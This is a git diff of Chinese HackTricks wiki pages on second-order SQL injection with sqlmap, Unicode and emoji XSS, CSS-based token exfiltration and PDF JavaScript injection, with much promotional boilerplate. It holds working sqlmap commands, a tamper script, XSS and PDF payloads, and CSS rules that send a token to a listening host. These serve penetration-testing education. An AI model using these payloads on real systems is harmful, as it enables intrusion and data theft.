- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>

View file

@ -1,29 +1,27 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
**SQLMap可以利用二次顺序SQL注入。**\
**SQLMap可以利用二SQL注入。**\
您需要提供:
* **保存SQL注入负载**的请求
* **执行载**的请求
* **请求**,其中将保存**sql注入载荷**
* **请求**,其中将**执行载**
保存SQL注入负载的请求与sqlmap中的任何其他注入一样进行指示。可以使用`--second-url`或`--second-req`指示可以读取注入的输出/执行的请求,如果您需要指示来自文件的完整请求。
保存SQL注入载荷的请求**如同在sqlmap中的任何其他注入一样指明**。可以使用`--second-url`或`--second-req`(如果您需要从文件中指明完整的请求)来指明**sqlmap可以读取输出/执行**注入的请求。
**简单的二次顺序示例:**
**简单的二示例:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -31,9 +29,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
一些情况下,仅仅发送负载并访问不同的页面是不够的,因为你需要执行其他操作
多种情况下**这还不够**,因为你需要**执行其他操作**除了发送payload和访问不同的页面
当需要这样做时,你可以使用一个sqlmap tamper。例如下面的脚本将使用sqlmap负载作为电子邮件注册一个新用户并注销
当需要这样做时,你可以使用**sqlmap tamper**。例如,以下脚本将注册一个新用户,**使用sqlmap payload作为电子邮件**,然后登出
```python
#!/usr/bin/env python
@ -61,16 +59,16 @@ headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
一个 **SQLMap篡改器总是在使用有效载荷进行注入尝试之前执行****并且必须返回有效载荷**。在这种情况下,我们不关心有效载荷,但我们关心发送一些请求,因此有效载荷不会被更改
一个 **SQLMap tamper 在开始尝试注入负载之前总是会被执行,并且它必须返回一个负载**。在这种情况下,我们不关心负载本身,而是关心发送一些请求,所以负载没有改变
因此,如果由于某种原因我们需要一个更复杂的流程来利用二次SQL注入如:
因此,如果由于某种原因我们需要一个更复杂的流程来利用第二顺序SQL注入如:
* 在“email”字段中创建一个带有SQLi有效载荷的账户
* 创建一个带有SQLi负载的账户并将负载放在“电子邮件”字段中
* 注销
* 使用该账户登录login.txt
* 发送请求执行SQL注入second.txt
* 发送一个请求执行SQL注入second.txt
**这sqlmap命令行将会有所帮助**
**这sqlmap命令行将会有所帮助**
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
@ -87,16 +85,14 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,51 +1,49 @@
# Unicode注入
# Unicode 注入
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
##
## 介
根据后端/前端在**接收奇怪的Unicode字符**时的行为,攻击者可能能够**绕过保护并注入任意字符**从而滥用注入漏洞如XSS或SQLi。
根据后端/前端在**接收奇怪的 Unicode 字符**时的行为,攻击者可能能够**绕过保护并注入任意字符**这些字符可能被用来**滥用注入漏洞**,例如 XSS 或 SQLi。
## Unicode规范化
## Unicode 规范化
Unicode规范化是指将**Unicode字符规范化为ASCII字符**的过程
Unicode 规范化发生在**Unicode 字符被规范化为 ASCII 字符**时
这种类型的漏洞的一个常见场景是,系统在**检查用户输入后对其进行修改**。例如,在某些语言中,对输入进行**大写或小写转换**的简单调用可能会将给定的输入规范化,并将**Unicode转换为ASCII**,从而生成新的字符。\
更多信息请参见
这种类型的漏洞的一个常见场景是当系统在**检查过用户输入后**以某种方式**修改**它。例如,在某些语言中,一个简单的调用使**输入变为大写或小写**可能会规范化给定的输入,**Unicode 将被转换为 ASCII**,生成新字符。\
更多信息请查看
{% content-ref url="unicode-normalization.md" %}
[unicode-normalization.md](unicode-normalization.md)
{% endcontent-ref %}
## `\u`转换为`%`
## `\u``%`
Unicode字符通常以**`\u`前缀**表示。例如,字符`㱋`表示为`\u3c4b`[在此处检查](https://unicode-explorer.com/c/3c4B))。如果后端将前缀**`\u`转换为`%`**,则结果字符串将为`%3c4b`,解码后为:**`<4b`**。正如你所看到的**注入了`<`字符**。\
如果后端存在漏洞,你可以使用此技术来**注入任何类型的字符**。\
请访问[https://unicode-explorer.com/](https://unicode-explorer.com/)查找所需的字符。
Unicode 字符通常以 **`\u` 前缀**表示。例如字符 `㱋``\u3c4b`[在这里检查](https://unicode-explorer.com/c/3c4B))。如果后端**将前缀** `\u` **转换为 `%`**,结果字符串将是 `%3c4b`URL 解码后是:**`<4b`**。如您所见**`<` 字符被注入**。\
如果后端存在漏洞,您可以使用这种技术**注入任何类型的字符**。\
查看 [https://unicode-explorer.com/](https://unicode-explorer.com/) 找到您需要的字符。
实际上,这个漏洞来自于一位研究人员发现的一个漏洞,更详细的解释请参见[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
这个漏洞实际上来自一个研究人员发现的漏洞,更深入的解释请查看 [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
## 表情符号注入
## Emoji 注入
后端在**接收表情符号**时有时会表现出奇怪的行为。这就是在[**这篇文章**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)中发生的情况,研究人员成功使用如下有效负载实现了XSS`💋img src=x onerror=alert(document.domain)//💛`
后端在**接收表情符号**时有时会表现出奇怪的行为。这就是在 [**这篇文章**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) 中发生的情况,研究人员使用如下载实现了 XSS`💋img src=x onerror=alert(document.domain)//💛`
在这种情况下,错误在于服务器在删除恶意字符后将UTF-8字符串从Windows-1252转换为UTF-8基本上是输入编码和转换编码不匹配。然后这不会生成正确的`<`字符而是一个奇怪的Unicode字符:``\
``然后他们将此输出**再次从UTF-8转换为ASCII**。这将``规范化为`<`,这就是该系统上该漏洞能够工作的原因。\
具体情况如下
在这种情况下,错误在于服务器在移除恶意字符后**将 UTF-8 字符串从 Windows-1252 转换为 UTF-8**(基本上输入编码和转换编码不匹配)。然后这并没有给出一个正确的 `<`,只是一个奇怪的 Unicode 字符:``\
``所以他们取了这个输出并**再次转换,现在从 UTF-8 转为 ASCII**。这**规范化**了 ```<`,这就是该漏洞在那个系统上能工作的原因。\
这就是发生了什么
```php
<?php
@ -63,16 +61,14 @@ echo "String: " . $str;
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为英雄通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>

View file

@ -2,23 +2,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
找到对您最重要的漏洞以便您能更快修复它们。Intruder追踪您的攻击面运行主动威胁扫描在您的整个技术栈中找到问题从API到web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -34,7 +32,11 @@
@import url('//localhost:5001/start?');
</style>
```
```markdown
{% endcode %}
{% code title="server.js" %}
```
```javascript
const http = require('http');
const url = require('url');
@ -191,9 +193,9 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
/*
HTTP/1.1 200 OK
Content-Type: text/css
日期星期五2022年4月1日 14:35:39 GMT
连接:关闭
内容长度:2149
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149
@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
@ -232,26 +234,27 @@ input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
```
```markdown
{% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞,以便更快修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
找到对您最重要的漏洞,以便您能更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客技术!</strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
其他支持 HackTricks 的方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
</details>
```

View file

@ -1,27 +1,25 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF版的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
**如果你的输入被反射到PDF文件中可以尝试注入PDF数据来执行JavaScript或窃取PDF内容。**
**如果您的输入在PDF文件中被反映可以尝试注入PDF数据来执行JavaScript或窃取PDF内容。**
以下信息摘自[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
以下信息取自 [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
## PDF-Lib
这次,我使用了[PDFLib](https://pdf-lib.js.org)。我花了一些时间使用该库创建一个注释并尝试将一个闭合括号注入到注释的URI中 - 结果成功了!我用来生成注释代码的样本漏洞代码如下
这次,我使用了 [PDFLib](https://pdf-lib.js.org)。我花了一些时间使用这个库来创建一个注释并看看我是否可以注入一个闭合括号到注释的URI中 - 它奏效了!我用来生成注释代码的示例易受攻击的代码是
`...` \
`A: {`\
@ -34,7 +32,7 @@
[完整代码:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
如何知道注入成功了呢除非我注入一个闭合括号否则PDF将正确渲染。这证明闭合括号打破了字符串并导致PDF代码无效。破坏PDF很好但我需要确保能够执行JavaScript。我查看了渲染后的PDF代码并注意到输出是使用FlateDecode过滤器进行编码的。我编写了一个小脚本来解压缩该块注释部分的输出如下所示`<<`\
怎么知道注入成功了除非我注入了一个闭合括号否则PDF会正确渲染。这证明了闭合括号打破了字符串边界导致PDF代码无效。破坏PDF很好但我需要确保我可以执行JavaScript。我查看了渲染的PDF代码注意到输出使用FlateDecode过滤器进行编码。我写了一个小脚本来解压缩块注释部分的输出看起来像这样`<<`\
`/Type /Annot`\
`/Subtype /Link`\
`/Rect [ 50 746.89 320 711.89 ]`\
@ -47,36 +45,37 @@
`>>`\
`>>`
正如你可以清楚地看到的那样,注入字符串用一个闭合括号关闭了文本边界,留下了一个已存在的闭合括号导致PDF渲染不正确
正如您可以清楚地看到,注入字符串用一个闭合括号关闭了文本边界,这留下了一个现有的闭合括号导致PDF渲染不正确
![显示加载PDF时的错误对话框的屏幕截图](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
![加载PDF时显示错误对话框的屏幕截图](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
太好了我可以破坏PDF的渲染接下来呢我需要想出一个调用一些JavaScript的注入 - PDF注入的alert(1)。
太好了,所以我可以破坏PDF的渲染那么接下来呢我需要想出一个调用JavaScript的注入 - PDF注入的alert(1)。
就像XSS向量依赖于浏览器的解析一样PDF注入的可利用性可能取决于PDF渲染器。我决定首先针对Acrobat进行攻击因为我认为这些向量在Chrome中的可行性较低。我注意到两件事1你可以注入其他的注释操作2如果你修复现有的闭合括号PDF将会渲染。经过一些实验我想出了一个很好的有效负载它注入了一个额外的注释操执行了JavaScript并修复了闭合括号`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
